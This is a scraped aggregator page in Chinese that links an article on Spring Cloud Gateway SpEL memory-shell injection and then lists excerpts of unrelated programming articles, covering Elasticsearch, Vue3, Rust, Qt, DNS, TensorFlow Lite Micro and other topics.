  • Spring cloud gateway通过SPEL注入内存马-https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1683584.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】-Elasticsearch安装部署[16]

目录 简介 安装 1、添加yum仓库 2、安装es 3、配置es 4、启动es 5、关闭防火墙 6、测试 简介 全文搜索属于最常见的要求&#xff0c;开源的Elasticsearch&#xff08;以下简称es&#xff09;是目前全文搜索引擎的首选。它可以快速的储存、搜索和分析海量数据。维基百科…

蓝牙模块七种工作模式——蓝牙Mesh组网工作模式

蓝牙Mesh组网模块技术在2017年得到SIG批准&#xff0c;这是一种独立的网络技术&#xff0c;兼容4及5系列蓝牙协议。它把蓝牙设备作为信号中继站&#xff0c;利用低功耗蓝牙广播的方式进行信息收发&#xff0c;蓝牙Mesh组网技术拓展了蓝牙的通讯关系&#xff0c;打破了以往蓝牙设…

Vue3 ts实现将assets中的图片转为file格式,实现本地图片选择上传功能

Vue3 ts实现将assets中的图片转为file格式&#xff0c;实现本地图片选择上传功能 1、需求描述2、关键代码3、img标签src使用变量打包后图片无法展示 1、需求描述 用户可以选项系统固定的几个图标&#xff0c;也可以自定义上传图片。系统固定图标存在 src\assets\images\app 路径…

6款网页表白代码6(附带源码)

6款网页表白代码6 前言效果图及部分源码1.爱心倒计时2.一起看星星3.爱心4.爱心&#xff08;有鼠标移动特效&#xff09;5.爱心&#xff08;高级效果&#xff09;6.爱心&#xff08;3D效果&#xff09; 领取源码下期更新预报 前言 大部分人都有喜欢的人&#xff0c;学会这些表白…

综述 | 走向图对比学习:综述与展望

【摘要】近年来&#xff0c;图的深度学习在各个领域取得了显著的成功。然而&#xff0c;对带注释的图形数据的依赖仍然是一个很大的瓶颈&#xff0c;因为它的成本过高且耗费时间。为了应对这一挑战&#xff0c;图的自监督学习(SSL)得到了越来越多的关注&#xff0c;并取得了重大…

hubilder Android模拟器华为手机连接不上

APP真机测试注意点&#xff1a; 1. 同一个局域网下 2. 手机连接USB模式&#xff08;华为选择USB配置&#xff1a;音频来源&#xff09; &#xff0c;开发者模式 3. 实在不行重启HBuilderX再运行真机 可是卡在了“正在安装手机端HBuilder调试基座...” 就没反应了&#xff1f;&…

rust的版本问题,安装问题,下载问题

rust的版本、安装、下载问题 rust版本问题&#xff0c; 在使用rust的时候&#xff0c;应用rust的包&#xff0c;有时候包的使用和rust版本有关系。 error: failed to run custom build command for pear_codegen v0.1.2 Caused by: process didnt exit successfully: D:\rus…

功耗相关总结

文章目录 功耗相关的使用场景MCU中低功耗的应用RTOS中低功耗应用 功耗相关的使用场景 目前越来越多的嵌入式设备采用电池进行供电&#xff0c;而不是跟台式电脑一样&#xff0c;可以一直连接着电源。在电池供电的场景下&#xff0c;对功耗的要求很高&#xff0c;工程师们尽量希…

查看当前Shell系统环境变量

查看当前Shell系统环境变量 查看命令 env效果 查看Shell变量(系统环境变量自定义变量函数) 命令 set效果 常用系统环境变量 变量名称含义PATH与windows环境变量PATH功能一样&#xff0c;设置命令的搜索路径&#xff0c;以冒号为分割HOME当前用户主目录&#xff1a;/rootSH…

uniapp中使用 iconfont字体

下载 iconfont 字体文件 打开 iconfont.css 文件&#xff0c;修改一下 把文件 复制到 static/iconfont/… 目录下 在App.vue中引入iconfont 5. 使用iconfont 使用 iconfont 有两种方式&#xff0c; 一种是 class 方式&#xff0c; 一种是使用 unicode 的方式 5.1 使用 class 的…

DNS域名解析与智能选路

要开始访问公网了&#xff01;&#xff01; 你在访问百度的时候&#xff0c;你也不知道百度的IP地址是啥&#xff0c;你只知道他的域名是baidu AD这台设备可以做入站的负载平衡&#xff0c;AD来选择你访问的时候是用联通网还是电信网&#xff0c;避免卡顿 pc并不会域名解析&…

在aspNetCore中 使用System.Text.Json的定制功能, 将定制化的json返回给前端

C# 默认大写, 而大部分的前端默认小写, 这时候可以如此配置: builder.Services.AddControllers().AddJsonOptions((opt) > {opt.JsonSerializerOptions.PropertyNamingPolicy System.Text.Json.JsonNamingPolicy.CamelCase;opt.JsonSerializerOptions.WriteIndented true…

案例 | 澳鹏自动驾驶标注方案入选虎嗅智库行业报告

随着自动驾驶技术发展及方案演进&#xff0c;市场对于数据标注的数量和质量的需求都呈现指数级增长。传统的手工标注已不能满足标注需求&#xff0c;自动标注伴随大模型的发展应运而生。 在这一背景下&#xff0c;虎嗅智库发布《自动驾驶数据标注技术落地洞察》&#xff0c;并…

PHP在线制作表白网源码

PHP在线制作表白网源码&#xff0c;送女友个惊喜吧&#xff0c;无数据库&#xff0c;上传就能用&#xff0c;后台/admin&#xff0c;账号密码都是admin 百度网盘&#xff1a;https://pan.baidu.com/s/1rbD2_8IsP9UPLK-cdgEXfA?pwdre59

【Qt 学习笔记】Qt常用控件 | 布局管理器 | 空白项Spacer

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt常用控件 | 布局管理器 | 添加空白Spacer 文章编号&#xff1a;Qt 学…

欢聚笔试题求助帖

事情是这样的&#xff0c;这段时间一直在求职投简历&#xff0c;期望在暑假之前接到一份大数据开发的实习工作。投了很多公司&#xff0c;然后就收到了欢聚的笔试邀约&#xff0c;HR说要我一天之内做出来&#xff0c;恰巧第二天还有组会要汇报&#xff0c;我就先放下了&#xf…

使用TensorFlow Lite Micro流程记录(带源码)

文章目录 0 关于tflite micro1 克隆仓库2 编译静态库3 模型转换4 编写工程5 编写demo5.1 进行算子注册 5.2 推理过程6 debug记录6.1 缺少算子 6.2 注册表太小6.3 段错误6.4 进一步减小库体积 7 实际部署 0 关于tflite micro 关于tflite micro在这里接不做过多介绍了&#xff0c…

闲话 .NET(4):为什么要跨平台?

前言 .NET Core 有一个关键词就是跨平台&#xff0c;为什么要跨平台呢&#xff1f;Windows 操作系统不香吗&#xff1f;今天我们来聊聊这个 原因一&#xff1a;安全考虑 Windows OS 是闭源的&#xff0c;而 Linux 是开源的&#xff0c;因此有些公司的技术负责人就认为 Linux…

关于解决Qt在安装的时候没有勾选sources组件的方法

关于解决Qt在安装的时候没有勾选sources组件的方法 一、引言 在安装数据库连接到qt的时候发现没有sources文件夹&#xff0c;原来是安装的时候没有勾选sources组件&#xff0c;发现问题后找到了维护qt组件的安装方式&#xff0c;特此记下来 二、分析原因 首先在安装的时候就…

专访联影智能联席CEO沈定刚:探索脑影像 AI 的无限可能

如何理解联影智能的全栈全谱、临床导向&#xff1f; 作者 &#xff5c;吴彤 编辑 &#xff5c;麦广炜 若要细数沈定刚的过往身份&#xff0c;那么堪可谈论的绝不只有一种。 国内医疗AI龙头企业联影智能联席CEO、上海科技大学生物医学工程学院创始院长&#xff0c;两大重要任职…